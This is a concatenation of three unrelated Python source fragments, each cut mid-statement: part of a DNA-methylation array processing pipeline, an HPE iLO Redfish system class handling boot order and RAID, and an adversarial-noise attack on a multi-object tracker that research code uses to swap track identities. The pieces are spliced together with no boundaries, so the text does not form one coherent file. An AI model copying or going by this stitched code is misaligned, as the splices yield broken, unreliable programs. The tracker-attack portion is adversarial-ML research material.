be inferred from the array_type and downloaded if necessary (default: {None}) Returns: [Manifest] -- A Manifest instance. """ if array_type is None: array_types = {dataset.array_type for dataset in raw_datasets} if len(array_types) == 0: raise ValueError('could not identify array type from IDATs') elif len(array_types) != 1: raise ValueError('IDATs with varying array types') array_type = array_types.pop() return Manifest(array_type, manifest_filepath) def run_pipeline(data_dir, array_type=None, export=False, manifest_filepath=None, sample_sheet_filepath=None, sample_name=None, betas=False, m_value=False, make_sample_sheet=False, batch_size=None, save_uncorrected=False, save_control=False, meta_data_frame=True, bit='float32', poobah=False, export_poobah=False, poobah_decimals=3, poobah_sig=0.05): """The main CLI processing pipeline. This does every processing step and returns a data set. Arguments: data_dir [required] path where idat files can be found, and samplesheet csv. array_type [default: autodetect] 27k, 450k, EPIC, EPIC+ If omitted, this will autodetect it. export [default: False] if True, exports a CSV of the processed data for each idat file in sample. betas if True, saves a pickle (beta_values.pkl) of beta values for all samples m_value if True, saves a pickle (m_values.pkl) of beta values for all samples Note on meth/unmeth: if either betas or m_value is True, this will also save two additional files: 'meth_values.pkl' and 'unmeth_values.pkl' with the same dataframe structure, representing raw, uncorrected meth probe intensities for all samples. These are useful in some methylcheck functions and load/produce results 100X faster than loading from processed CSV output. manifest_filepath [optional] if you want to provide a custom manifest, provide the path. Otherwise, it will download the appropriate one for you. sample_sheet_filepath [optional] it will autodetect if ommitted. sample_name [optional, list] if you don't want to process all samples, you can specify individual as a list. if sample_names are specified, this will not also do batch sizes (large batches must process all samples) make_sample_sheet [optional] if True, generates a sample sheet from idat files called 'samplesheet.csv', so that processing will work. From CLI pass in "--no_sample_sheet" to trigger sample sheet auto-generation. batch_size [optional] if set to any integer, samples will be processed and saved in batches no greater than the specified batch size. This will yield multiple output files in the format of "beta_values_1.pkl ... beta_values_N.pkl". save_uncorrected [optional] if True, adds two additional columns to the processed.csv per sample (meth and unmeth). does not apply noob correction to these values. save_control [optional] if True, adds all Control and SnpI type probe values to a separate pickled dataframe, with probes in rows and sample_name in the first column. These non-CpG probe names are excluded from processed data and must be stored separately. bit [optional] Change the processed beta or m_value data_type from float64 to float16 or float32. This will make files smaller, often with no loss in precision, if it works. sometimes using float16 will cause an overflow error and files will have "inf" instead of numbers. Use float32 instead. poobah [False] If specified as True, the pipeline will run Sesame's p-value probe detection method (poobah) on samples to remove probes that fail the signal/noise ratio on their fluorescence channels. These will appear as NaNs in the resulting dataframes (beta_values.pkl or m_values.pkl). All probes, regardless of p-value cutoff, will be retained in CSVs, but there will be a 'poobah_pval' column in CSV files that methylcheck.load uses to exclude failed probes upon import at a later step. poobah_sig [default: 0.05] the p-value level of significance, above which, will exclude probes from output (typical range of 0.001 to 0.1) poobah_decimals [default: 3] The number of decimal places to round p-value column in the processed CSV output files. Returns: By default, if called as a function, a list of SampleDataContainer objects is returned. betas if True, will return a single data frame of betavalues instead of a list of SampleDataContainer objects. Format is a "wide matrix": columns contain probes and rows contain samples. m_value if True, will return a single data frame of m_factor values instead of a list of SampleDataContainer objects. Format is a "wide matrix": columns contain probes and rows contain samples. if batch_size is set to more than ~600 samples, nothing is returned but all the files are saved. You can recreate/merge output files by loading the files using methylcheck.load(). Processing note: The sample_sheet parser will ensure every sample has a unique name and assign one (e.g. Sample1) if missing, or append a number (e.g. _1) if not unique. This may cause sample_sheets and processed data in dataframes to not match up. Will fix in future version. """ LOGGER.info('Running pipeline in: %s', data_dir) if bit not in ('float64','float32','float16'): raise ValueError("Input 'bit' must be one of ('float64','float32','float16') or ommitted.") if sample_name: LOGGER.info('Sample names: {0}'.format(sample_name)) if make_sample_sheet: create_sample_sheet(data_dir) sample_sheet = get_sample_sheet(data_dir, filepath=sample_sheet_filepath) samples = sample_sheet.get_samples() if sample_sheet.renamed_fields != {}: show_fields = [] for k,v in sample_sheet.renamed_fields.items(): if v != k: show_fields.append(f"{k} --> {v}\n") else: show_fields.append(f"{k}\n") LOGGER.info(f"Found {len(show_fields)} additional fields in sample_sheet:\n{''.join(show_fields)}") batches = [] batch = [] sample_id_counter = 1 if batch_size: if type(batch_size) != int or batch_size < 1: raise ValueError('batch_size must be an integer greater than 0') for sample in samples: if sample_name and sample.name not in sample_name: continue # batch uses Sample_Name, so ensure these exist if sample.name in (None,''): sample.name = f'Sample_{sample_id_counter}' sample_id_counter += 1 # and are unique. if Counter((s.name for s in samples)).get(sample.name) > 1: sample.name = f'{sample.name}_{sample_id_counter}' sample_id_counter += 1 if len(batch) < batch_size: batch.append(sample.name) else: batches.append(batch) batch = [] batch.append(sample.name) batches.append(batch) else: for sample in samples: if sample_name and sample.name not in sample_name: continue # batch uses Sample_Name, so ensure these exist if sample.name in (None,''): sample.name = f'Sample_{sample_id_counter}' sample_id_counter += 1 # and are unique. if Counter((s.name for s in samples)).get(sample.name) > 1: sample.name = f'{sample.name}_{sample_id_counter}' sample_id_counter += 1 batch.append(sample.name) batches.append(batch) temp_data_pickles = [] control_snps = {} #data_containers = [] # returned when this runs in interpreter, and < 200 samples # v1.3.0 memory fix: save each batch_data_containers object to disk as temp, then load and combine at end. # 200 samples still uses 4.8GB of memory/disk space (float64) for batch_num, batch in enumerate(batches, 1): raw_datasets = get_raw_datasets(sample_sheet, sample_name=batch) manifest = get_manifest(raw_datasets, array_type, manifest_filepath) # this allows each batch to be a different array type; but not implemented yet. common with older GEO sets. batch_data_containers = [] export_paths = set() # inform CLI user where to look for raw_dataset in tqdm(raw_datasets, total=len(raw_datasets), desc="Processing samples"): data_container = SampleDataContainer( raw_dataset=raw_dataset, manifest=manifest, retain_uncorrected_probe_intensities=save_uncorrected, bit=bit, pval=poobah, poobah_decimals=poobah_decimals, ) # data_frame['noob'] doesn't exist at this point. data_container.process_all() if export: output_path = data_container.sample.get_export_filepath() data_container.export(output_path) export_paths.add(output_path) if save_control: # Process and consolidate now. Keep in memory. These files are small. sample_id = f"{data_container.sample.sentrix_id}_{data_container.sample.sentrix_position}" control_df = one_sample_control_snp(data_container) control_snps[sample_id] = control_df # now I can drop all the unneeded stuff from each SampleDataContainer (400MB per sample becomes 92MB) # these are stored in SampleDataContainer.__data_frame for processing. del data_container.manifest del data_container.raw_dataset del data_container.methylated del data_container.unmethylated batch_data_containers.append(data_container) LOGGER.info('[finished SampleDataContainer processing]') if betas: df = consolidate_values_for_sheet(batch_data_containers, postprocess_func_colname='beta_value', bit=bit, poobah=poobah) if not batch_size: pkl_name = 'beta_values.pkl' else: pkl_name = f'beta_values_{batch_num}.pkl' if df.shape[1] > df.shape[0]: df = df.transpose() # put probes as columns for
# Copyright 2018 Hewlett Packard Enterprise Development LP # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. __author__ = 'HPE' import sushy from sushy.resources import base from sushy.resources.system import system from sushy import utils as sushy_utils from proliantutils import exception from proliantutils import log from proliantutils.redfish.resources.system import bios from proliantutils.redfish.resources.system import constants from proliantutils.redfish.resources.system import ethernet_interface from proliantutils.redfish.resources.system import mappings from proliantutils.redfish.resources.system import memory from proliantutils.redfish.resources.system import pci_device from proliantutils.redfish.resources.system import secure_boot from proliantutils.redfish.resources.system import smart_storage_config from proliantutils.redfish.resources.system.storage import simple_storage from proliantutils.redfish.resources.system.storage import \ smart_storage as hpe_smart_storage from proliantutils.redfish.resources.system.storage import storage from proliantutils.redfish import utils LOG = log.get_logger(__name__) PERSISTENT_BOOT_DEVICE_MAP = { 'CDROM': sushy.BOOT_SOURCE_TARGET_CD, 'NETWORK': sushy.BOOT_SOURCE_TARGET_PXE, 'ISCSI': sushy.BOOT_SOURCE_TARGET_UEFI_TARGET, 'HDD': sushy.BOOT_SOURCE_TARGET_HDD } class PowerButtonActionField(base.CompositeField): allowed_values = base.Field('Push<EMAIL>', adapter=list) target_uri = base.Field('target', required=True) class HpeActionsField(base.CompositeField): computer_system_ext_powerbutton = ( PowerButtonActionField('#HpeComputerSystemExt.PowerButton')) class HPESystem(system.System): """Class that extends the functionality of System resource class This class extends the functionality of System resource class from sushy """ model = base.Field(['Model']) rom_version = base.Field(['Oem', 'Hpe', 'Bios', 'Current', 'VersionString']) uefi_target_override_devices = (base.Field([ 'Boot', 'UefiTargetBootSourceOverride@<EMAIL>Values'], adapter=list)) smart_storage_config_identities = base.Field( ['Oem', 'Hpe', 'SmartStorageConfig'], adapter=sushy_utils.get_members_identities) supported_boot_mode = base.MappedField( ['Oem', 'Hpe', 'Bios', 'UefiClass'], mappings.SUPPORTED_BOOT_MODE, default=constants.SUPPORTED_LEGACY_BIOS_ONLY) """System supported boot mode.""" post_state = base.MappedField( ['Oem', 'Hpe', 'PostState'], mappings.POST_STATE_MAP, default=constants.POST_STATE_NULL) """System POST state""" _hpe_actions = HpeActionsField(['Oem', 'Hpe', 'Actions'], required=True) """Oem specific system extensibility actions""" _bios_settings = None # ref to BIOSSettings instance _secure_boot = None # ref to SecureBoot instance _smart_storage = None # SmartStorage instance _simple_storages = None # SimpleStorage instance _storages = None # Storage instance _pci_devices = None # PCIDevice instance _ethernet_interfaces = None # EthernetInterface instance _memory = None # Memory instance def _get_hpe_push_power_button_action_element(self): push_action = self._hpe_actions.computer_system_ext_powerbutton if not push_action: raise exception.MissingAttributeError( attribute='Oem/Hpe/Actions/#HpeComputerSystemExt.PowerButton', resource=self.path) return push_action def push_power_button(self, target_value): """Reset the system in hpe exclusive manner. :param target_value: The target value to be set. :raises: InvalidInputError, if the target value is not allowed. :raises: SushyError, on an error from iLO. """ if target_value not in mappings.PUSH_POWER_BUTTON_VALUE_MAP_REV: msg = ('The parameter "%(parameter)s" value "%(target_value)s" is ' 'invalid. Valid values are: %(valid_power_values)s' % {'parameter': 'target_value', 'target_value': target_value, 'valid_power_values': ( mappings.PUSH_POWER_BUTTON_VALUE_MAP_REV.keys())}) raise exception.InvalidInputError(msg) value = mappings.PUSH_POWER_BUTTON_VALUE_MAP_REV[target_value] target_uri = ( self._get_hpe_push_power_button_action_element().target_uri) self._conn.post(target_uri, data={'PushType': value}) @property def bios_settings(self): """Property to provide reference to `BIOSSettings` instance It is calculated once when the first time it is queried. On refresh, this property gets reset. """ if self._bios_settings is None: self._bios_settings = bios.BIOSSettings( self._conn, utils.get_subresource_path_by(self, 'Bios'), redfish_version=self.redfish_version) self._bios_settings.refresh(force=False) return self._bios_settings def update_persistent_boot(self, devices=[], persistent=False): """Changes the persistent boot device order in BIOS boot mode for host Note: It uses first boot device from the devices and ignores rest. :param devices: ordered list of boot devices :param persistent: Boolean flag to indicate if the device to be set as a persistent boot device :raises: IloError, on an error from iLO. :raises: IloInvalidInputError, if the given input is not valid. """ device = PERSISTENT_BOOT_DEVICE_MAP.get(devices[0].upper()) if device == sushy.BOOT_SOURCE_TARGET_UEFI_TARGET: try: uefi_devices = self.uefi_target_override_devices iscsi_device = None for uefi_device in uefi_devices: if uefi_device is not None and 'iSCSI' in uefi_device: iscsi_device = uefi_device break if iscsi_device is None: msg = 'No UEFI iSCSI bootable device found on system.' raise exception.IloError(msg) except sushy.exceptions.SushyError as e: msg = ('Unable to get uefi target override devices. ' 'Error %s') % (str(e)) raise exception.IloError(msg) uefi_boot_settings = { 'Boot': {'UefiTargetBootSourceOverride': iscsi_device} } self._conn.patch(self.path, data=uefi_boot_settings) elif device is None: device = sushy.BOOT_SOURCE_TARGET_NONE tenure = (sushy.BOOT_SOURCE_ENABLED_CONTINUOUS if persistent else sushy.BOOT_SOURCE_ENABLED_ONCE) self.set_system_boot_source(device, enabled=tenure) @property def pci_devices(self): """Provides the collection of PCI devices It is calculated once when the first time it is queried. On refresh, this property gets reset. """ if self._pci_devices is None: self._pci_devices = pci_device.PCIDeviceCollection( self._conn, utils.get_subresource_path_by( self, ['Oem', 'Hpe', 'Links', 'PCIDevices'])) self._pci_devices.refresh(force=False) return self._pci_devices @property def secure_boot(self): """Property to provide reference to `SecureBoot` instance It is calculated once when the first time it is queried. On refresh, this property gets reset. """ if self._secure_boot is None: self._secure_boot = secure_boot.SecureBoot( self._conn, utils.get_subresource_path_by(self, 'SecureBoot'), redfish_version=self.redfish_version) self._secure_boot.refresh(force=False) return self._secure_boot def _do_refresh(self, force): """Do custom resource specific refresh activities On refresh, all sub-resources are marked as stale, i.e. greedy-refresh not done for them unless forced by ``force`` argument. """ super(HPESystem, self)._do_refresh(force) if self._bios_settings is not None: self._bios_settings.invalidate(force) if self._pci_devices is not None: self._pci_devices.invalidate(force) if self._secure_boot is not None: self._secure_boot.invalidate(force) if self._ethernet_interfaces is not None: self._ethernet_interfaces.invalidate(force) if self._smart_storage is not None: self._smart_storage.invalidate(force) if self._storages is not None: self._storages.invalidate(force) if self._simple_storages is not None: self._simple_storages.invalidate(force) if self._memory is not None: self._memory.invalidate(force) def _get_hpe_sub_resource_collection_path(self, sub_res): path = None try: path = utils.get_subresource_path_by(self, sub_res) except exception.MissingAttributeError: path = utils.get_subresource_path_by( self, ['Oem', 'Hpe', 'Links', sub_res]) return path @property def ethernet_interfaces(self): """Provide reference to EthernetInterfacesCollection instance""" if self._ethernet_interfaces is None: sub_res = 'EthernetInterfaces' self._ethernet_interfaces = ( ethernet_interface.EthernetInterfaceCollection( self._conn, self._get_hpe_sub_resource_collection_path(sub_res), redfish_version=self.redfish_version)) self._ethernet_interfaces.refresh(force=False) return self._ethernet_interfaces @property def smart_storage(self): """This property gets the object for smart storage. This property gets the object for smart storage. There is no collection for smart storages. :returns: an instance of smart storage """ if self._smart_storage is None: self._smart_storage = hpe_smart_storage.HPESmartStorage( self._conn, utils.get_subresource_path_by( self, ['Oem', 'Hpe', 'Links', 'SmartStorage']), redfish_version=self.redfish_version) self._smart_storage.refresh(force=False) return self._smart_storage @property def storages(self): """This property gets the list of instances for Storages This property gets the list of instances for Storages :returns: a list of instances of Storages """ if self._storages is None: self._storages = storage.StorageCollection( self._conn, utils.get_subresource_path_by(self, 'Storage'), redfish_version=self.redfish_version) self._storages.refresh(force=False) return self._storages @property def simple_storages(self): """This property gets the list of instances for SimpleStorages :returns: a list of instances of SimpleStorages """ if self._simple_storages is None: self._simple_storages = simple_storage.SimpleStorageCollection( self._conn, utils.get_subresource_path_by( self, 'SimpleStorage'), redfish_version=self.redfish_version) self._simple_storages.refresh(force=False) return self._simple_storages @property def memory(self): """Property to provide reference to `MemoryCollection` instance It is calculated once when the first time it is queried. On refresh, this property gets reset. """ if self._memory is None: self._memory = memory.MemoryCollection( self._conn, utils.get_subresource_path_by( self, 'Memory'), redfish_version=self.redfish_version) self._memory.refresh(force=False) return self._memory def get_smart_storage_config(self, smart_storage_config_url): """Returns a SmartStorageConfig Instance for each controller.""" return (smart_storage_config. HPESmartStorageConfig(self._conn, smart_storage_config_url, redfish_version=self.redfish_version)) def _get_smart_storage_config_by_controller_model(self, controller_model): """Returns a SmartStorageConfig Instance for controller by model. :returns: SmartStorageConfig Instance for controller """ ac = self.smart_storage.array_controllers.array_controller_by_model( controller_model) for ssc_id in self.smart_storage_config_identities: ssc_obj = self.get_smart_storage_config(ssc_id) if ac.location == ssc_obj.location: return ssc_obj def check_smart_storage_config_ids(self): """Check SmartStorageConfig controllers is there in hardware. :raises: IloError, on an error from iLO. """ if self.smart_storage_config_identities is None: msg = ('The Redfish controller failed to get the ' 'SmartStorageConfig controller configurations.') LOG.debug(msg) raise exception.IloError(msg) def delete_raid(self): """Delete the raid configuration on the hardware. Loops through each SmartStorageConfig controller and clears the raid configuration. :raises: IloError, on an error from iLO. """ self.check_smart_storage_config_ids() any_exceptions = [] ld_exc_count = 0 for config_id in self.smart_storage_config_identities: try: ssc_obj = self.get_smart_storage_config(config_id) ssc_obj.delete_raid() except exception.IloLogicalDriveNotFoundError as e: ld_exc_count += 1 except sushy.exceptions.SushyError as e: any_exceptions.append((config_id, str(e))) if any_exceptions: msg = ('The Redfish controller failed to delete the ' 'raid configuration in one or more controllers with ' 'Error: %(error)s' % {'error': str(any_exceptions)}) raise exception.IloError(msg) if ld_exc_count == len(self.smart_storage_config_identities): msg = ('No logical drives are found in any controllers. Nothing ' 'to delete.') raise exception.IloLogicalDriveNotFoundError(msg) def _parse_raid_config_data(self, raid_config): """It will parse raid config data based on raid controllers :param raid_config: A dictionary containing target raid configuration data. This data stucture should be as follows: raid_config = {'logical_disks': [{'raid_level': 1, 'size_gb': 100, 'controller': 'HPE Smart Array P408i-a SR Gen10'}, <info-for-logical-disk-2>]} :returns: A dictionary of controllers, each containing list of their respected logical drives. """ default = ( self.smart_storage.array_controllers.get_default_controller.model) controllers = {default: []} for ld in raid_config['logical_disks']: if 'controller' not in ld.keys(): controllers[default].append(ld) else: ctrl = ld['controller'] if ctrl not in controllers: controllers[ctrl] = [] controllers[ctrl].append(ld) return controllers def create_raid(self, raid_config): """Create the raid configuration on the hardware. :param raid_config: A dictionary containing target raid configuration data. This
= (noise ** 2).sum().sqrt().item() adImg = torch.clip(im_blob + noise, min=0, max=1) noise = self.recoverNoise(noise, img0) noise = (noise - np.min(noise)) / (np.max(noise) - np.min(noise)) noise = (noise * 255).astype(np.uint8) else: l2_dis = None adImg = im_blob output_stracks_att = self.update(adImg, img0, track_id=self_track_id_att) adImg = self.recoverNoise(adImg.detach(), img0) return output_stracks_ori, output_stracks_att, adImg, noise, l2_dis, suc def update_attack_mt_det(self, im_blob, img0, **kwargs): self.frame_id_ += 1 activated_starcks = [] refind_stracks = [] lost_stracks = [] removed_stracks = [] width = img0.shape[1] height = img0.shape[0] inp_height = im_blob.shape[2] inp_width = im_blob.shape[3] c = np.array([width / 2., height / 2.], dtype=np.float32) s = max(float(inp_width) / float(inp_height) * height, width) * 1.0 meta = {'c': c, 's': s, 'out_height': inp_height // self.opt.down_ratio, 'out_width': inp_width // self.opt.down_ratio} ''' Step 1: Network forward, get detections & embeddings''' # with torch.no_grad(): im_blob.requires_grad = True self.model.zero_grad() output = self.model(im_blob)[-1] hm = output['hm'].sigmoid() wh = output['wh'] id_feature = output['id'] id_feature = F.normalize(id_feature, dim=1) reg = output['reg'] if self.opt.reg_offset else None dets_raw, inds = mot_decode(hm, wh, reg=reg, cat_spec_wh=self.opt.cat_spec_wh, K=self.opt.K) id_features = [] for i in range(3): for j in range(3): id_feature_exp = _tranpose_and_gather_feat_expand(id_feature, inds, bias=(i - 1, j - 1)).squeeze(0) id_features.append(id_feature_exp) id_feature = _tranpose_and_gather_feat_expand(id_feature, inds) id_feature = id_feature.squeeze(0) dets = self.post_process(dets_raw.clone(), meta) dets = self.merge_outputs([dets])[1] remain_inds = dets[:, 4] > self.opt.conf_thres dets = dets[remain_inds] id_feature = id_feature[remain_inds] for i in range(len(id_features)): id_features[i] = id_features[i][remain_inds] id_feature = id_feature.detach().cpu().numpy() last_id_features = [None for _ in range(len(dets))] last_ad_id_features = [None for _ in range(len(dets))] dets_index = [i for i in range(len(dets))] dets_ids = [None for _ in range(len(dets))] tracks_ad = [] # import pdb; pdb.set_trace() # vis ''' for i in range(0, dets.shape[0]): bbox = dets[i][0:4] cv2.rectangle(img0, (bbox[0], bbox[1]), (bbox[2], bbox[3]), (0, 255, 0), 2) cv2.imshow('dets', img0) cv2.waitKey(0) id0 = id0-1 ''' if len(dets) > 0: '''Detections''' detections = [STrack(STrack.tlbr_to_tlwh(tlbrs[:4]), tlbrs[4], f, 30) for (tlbrs, f) in zip(dets[:, :5], id_feature)] else: detections = [] ''' Add newly detected tracklets to tracked_stracks''' unconfirmed = [] tracked_stracks = [] # type: list[STrack] for track in self.tracked_stracks_: if not track.is_activated: unconfirmed.append(track) else: tracked_stracks.append(track) ''' Step 2: First association, with embedding''' strack_pool = joint_stracks(tracked_stracks, self.lost_stracks_) STrack.multi_predict(strack_pool) dists = matching.embedding_distance(strack_pool, detections) dists = matching.fuse_motion(self.kalman_filter_, dists, strack_pool, detections) matches, u_track, u_detection = matching.linear_assignment(dists, thresh=0.7) # import pdb; pdb.set_trace() for itracked, idet in matches: track = strack_pool[itracked] det = detections[idet] assert last_id_features[dets_index[idet]] is None assert last_ad_id_features[dets_index[idet]] is None last_id_features[dets_index[idet]] = track.smooth_feat last_ad_id_features[dets_index[idet]] = track.smooth_feat_ad tracks_ad.append((track, dets_index[idet])) if track.state == TrackState.Tracked: track.update(detections[idet], self.frame_id_) activated_starcks.append(track) else: track.re_activate_(det, self.frame_id_, new_id=False) refind_stracks.append(track) dets_ids[dets_index[idet]] = track.track_id ''' Step 3: Second association, with IOU''' dets_index = [dets_index[i] for i in u_detection] detections = [detections[i] for i in u_detection] r_tracked_stracks = [strack_pool[i] for i in u_track if strack_pool[i].state == TrackState.Tracked] dists = matching.iou_distance(r_tracked_stracks, detections) matches, u_track, u_detection = matching.linear_assignment(dists, thresh=0.5) for itracked, idet in matches: track = r_tracked_stracks[itracked] det = detections[idet] assert last_id_features[dets_index[idet]] is None assert last_ad_id_features[dets_index[idet]] is None last_id_features[dets_index[idet]] = track.smooth_feat last_ad_id_features[dets_index[idet]] = track.smooth_feat_ad tracks_ad.append((track, dets_index[idet])) if track.state == TrackState.Tracked: track.update(det, self.frame_id_) activated_starcks.append(track) else: track.re_activate_(det, self.frame_id_, new_id=False) refind_stracks.append(track) dets_ids[dets_index[idet]] = track.track_id for it in u_track: track = r_tracked_stracks[it] if not track.state == TrackState.Lost: track.mark_lost() lost_stracks.append(track) '''Deal with unconfirmed tracks, usually tracks with only one beginning frame''' dets_index = [dets_index[i] for i in u_detection] detections = [detections[i] for i in u_detection] dists = matching.iou_distance(unconfirmed, detections) matches, u_unconfirmed, u_detection = matching.linear_assignment(dists, thresh=0.7) for itracked, idet in matches: assert last_id_features[dets_index[idet]] is None assert last_ad_id_features[dets_index[idet]] is None last_id_features[dets_index[idet]] = unconfirmed[itracked].smooth_feat last_ad_id_features[dets_index[idet]] = unconfirmed[itracked].smooth_feat_ad tracks_ad.append((unconfirmed[itracked], dets_index[idet])) unconfirmed[itracked].update(detections[idet], self.frame_id_) activated_starcks.append(unconfirmed[itracked]) dets_ids[dets_index[idet]] = unconfirmed[itracked].track_id for it in u_unconfirmed: track = unconfirmed[it] track.mark_removed() removed_stracks.append(track) """ Step 4: Init new stracks""" for inew in u_detection: track = detections[inew] if track.score < self.det_thresh: continue track.activate_(self.kalman_filter_, self.frame_id_) activated_starcks.append(track) dets_ids[dets_index[inew]] = track.track_id """ Step 5: Update state""" for track in self.lost_stracks_: if self.frame_id_ - track.end_frame > self.max_time_lost: track.mark_removed() removed_stracks.append(track) # print('Ramained match {} s'.format(t4-t3)) self.tracked_stracks_ = [t for t in self.tracked_stracks_ if t.state == TrackState.Tracked] self.tracked_stracks_ = joint_stracks(self.tracked_stracks_, activated_starcks) self.tracked_stracks_ = joint_stracks(self.tracked_stracks_, refind_stracks) self.lost_stracks_ = sub_stracks(self.lost_stracks_, self.tracked_stracks_) self.lost_stracks_.extend(lost_stracks) self.lost_stracks_ = sub_stracks(self.lost_stracks_, self.removed_stracks_) self.removed_stracks_.extend(removed_stracks) self.tracked_stracks_, self.lost_stracks_ = remove_duplicate_stracks(self.tracked_stracks_, self.lost_stracks_) # get scores of lost tracks output_stracks_ori = [track for track in self.tracked_stracks_ if track.is_activated] id_set = set([track.track_id for track in output_stracks_ori]) for i in range(len(dets_ids)): if dets_ids[i] is not None and dets_ids[i] not in id_set: dets_ids[i] = None output_stracks_ori_ind = [] for ind, track in enumerate(output_stracks_ori): if track.track_id not in self.multiple_ori_ids: self.multiple_ori_ids[track.track_id] = 0 self.multiple_ori_ids[track.track_id] += 1 if self.multiple_ori_ids[track.track_id] <= self.FRAME_THR: output_stracks_ori_ind.append(ind) logger.debug('===========Frame {}=========='.format(self.frame_id_)) logger.debug('Activated: {}'.format([track.track_id for track in activated_starcks])) logger.debug('Refind: {}'.format([track.track_id for track in refind_stracks])) logger.debug('Lost: {}'.format([track.track_id for track in lost_stracks])) logger.debug('Removed: {}'.format([track.track_id for track in removed_stracks])) attack_ids = [] target_ids = [] attack_inds = [] target_inds = [] noise = None if len(dets) > 0: ious = bbox_ious(np.ascontiguousarray(dets[:, :4], dtype=np.float64), np.ascontiguousarray(dets[:, :4], dtype=np.float64)) ious[range(len(dets)), range(len(dets))] = 0 ious_inds = np.argmax(ious, axis=1) dis = bbox_dis(np.ascontiguousarray(dets[:, :4], dtype=np.float64), np.ascontiguousarray(dets[:, :4], dtype=np.float64)) dis[range(len(dets)), range(len(dets))] = np.inf dis_inds = np.argmin(dis, axis=1) for attack_ind, track_id in enumerate(dets_ids): if track_id is None or self.multiple_ori_ids[track_id] <= self.FRAME_THR \ or dets_ids[ious_inds[attack_ind]] not in self.multiple_ori2att \ or track_id not in self.multiple_ori2att: continue if ious[attack_ind, ious_inds[attack_ind]] > self.ATTACK_IOU_THR or ( track_id in self.low_iou_ids and ious[attack_ind, ious_inds[attack_ind]] > 0 ): attack_ids.append(track_id) target_ids.append(dets_ids[ious_inds[attack_ind]]) attack_inds.append(attack_ind) target_inds.append(ious_inds[attack_ind]) if hasattr(self, f'temp_i_{track_id}'): self.__setattr__(f'temp_i_{track_id}', 0) elif ious[attack_ind, ious_inds[attack_ind]] == 0 and track_id in self.low_iou_ids: if hasattr(self, f'temp_i_{track_id}'): self.__setattr__(f'temp_i_{track_id}', self.__getattribute__(f'temp_i_{track_id}') + 1) else: self.__setattr__(f'temp_i_{track_id}', 1) if self.__getattribute__(f'temp_i_{track_id}') > 10: self.low_iou_ids.remove(track_id) elif dets_ids[dis_inds[attack_ind]] in self.multiple_ori2att: attack_ids.append(track_id) target_ids.append(dets_ids[dis_inds[attack_ind]]) attack_inds.append(attack_ind) target_inds.append(dis_inds[attack_ind]) fit_index = self.CheckFit(dets, id_feature, attack_ids, attack_inds) if len(attack_ids) else [] if fit_index: attack_ids = np.array(attack_ids)[fit_index] target_ids = np.array(target_ids)[fit_index] attack_inds = np.array(attack_inds)[fit_index] target_inds = np.array(target_inds)[fit_index] noise, attack_iter, suc = self.attack_mt_det( im_blob, img0, dets, inds, remain_inds, last_info=self.ad_last_info, outputs_ori=output, attack_ids=attack_ids, attack_inds=attack_inds ) self.low_iou_ids.update(set(attack_ids)) if suc: self.attacked_ids.update(set(attack_ids)) print( f'attack ids: {attack_ids}\tattack frame {self.frame_id_}: SUCCESS\tl2 distance: {(noise ** 2).sum().sqrt().item()}\titeration: {attack_iter}') else: print(f'attack ids: {attack_ids}\tattack frame {self.frame_id_}: FAIL\tl2 distance: {(noise ** 2).sum().sqrt().item() if noise is not None else None}\titeration: {attack_iter}') if noise is not None: l2_dis = (noise ** 2).sum().sqrt().item() adImg = torch.clip(im_blob + noise, min=0, max=1) noise = self.recoverNoise(noise, img0) noise = (noise - np.min(noise)) / (np.max(noise) - np.min(noise)) noise = (noise * 255).astype(np.uint8) else: l2_dis = None adImg = im_blob output_stracks_att = self.update(adImg, img0) adImg = self.recoverNoise(adImg.detach(), img0) output_stracks_att_ind = [] for ind, track in enumerate(output_stracks_att): if track.track_id not in self.multiple_att_ids: self.multiple_att_ids[track.track_id] = 0 self.multiple_att_ids[track.track_id] += 1 if self.multiple_att_ids[track.track_id] <= self.FRAME_THR: output_stracks_att_ind.append(ind) if len(output_stracks_ori_ind) and len(output_stracks_att_ind): ori_dets = [track.curr_tlbr for i, track in enumerate(output_stracks_ori) if i in output_stracks_ori_ind] att_dets = [track.curr_tlbr for i, track in enumerate(output_stracks_att) if i in output_stracks_att_ind] ori_dets = np.stack(ori_dets).astype(np.float64) att_dets = np.stack(att_dets).astype(np.float64) ious = bbox_ious(ori_dets, att_dets) row_ind, col_ind = linear_sum_assignment(-ious) for i in range(len(row_ind)): if ious[row_ind[i], col_ind[i]] > 0.9: ori_id = output_stracks_ori[output_stracks_ori_ind[row_ind[i]]].track_id att_id = output_stracks_att[output_stracks_att_ind[col_ind[i]]].track_id self.multiple_ori2att[ori_id] = att_id return output_stracks_ori, output_stracks_att, adImg, noise, l2_dis def update_attack_mt_hj(self, im_blob, img0, **kwargs): self.frame_id_ += 1 activated_starcks = [] refind_stracks = [] lost_stracks = [] removed_stracks = [] width = img0.shape[1] height = img0.shape[0] inp_height = im_blob.shape[2] inp_width = im_blob.shape[3] c = np.array([width / 2., height / 2.], dtype=np.float32) s = max(float(inp_width) / float(inp_height) * height, width) * 1.0 meta = {'c': c, 's': s, 'out_height': inp_height // self.opt.down_ratio, 'out_width': inp_width // self.opt.down_ratio} ''' Step 1: Network forward, get detections & embeddings''' # with torch.no_grad(): im_blob.requires_grad = True self.model.zero_grad() output = self.model(im_blob)[-1] hm = output['hm'].sigmoid() wh = output['wh'] id_feature = output['id'] id_feature = F.normalize(id_feature, dim=1) reg = output['reg'] if self.opt.reg_offset else None dets_raw, inds = mot_decode(hm, wh, reg=reg, cat_spec_wh=self.opt.cat_spec_wh, K=self.opt.K) id_features = [] for i in range(3): for j in range(3): id_feature_exp = _tranpose_and_gather_feat_expand(id_feature, inds, bias=(i - 1, j - 1)).squeeze(0) id_features.append(id_feature_exp) id_feature = _tranpose_and_gather_feat_expand(id_feature, inds) id_feature = id_feature.squeeze(0) dets = self.post_process(dets_raw.clone(), meta) dets = self.merge_outputs([dets])[1] remain_inds = dets[:, 4] > self.opt.conf_thres dets = dets[remain_inds] id_feature = id_feature[remain_inds] for i in range(len(id_features)): id_features[i] = id_features[i][remain_inds] id_feature = id_feature.detach().cpu().numpy() last_id_features = [None for _ in range(len(dets))] last_ad_id_features = [None for _ in range(len(dets))] dets_index = [i for
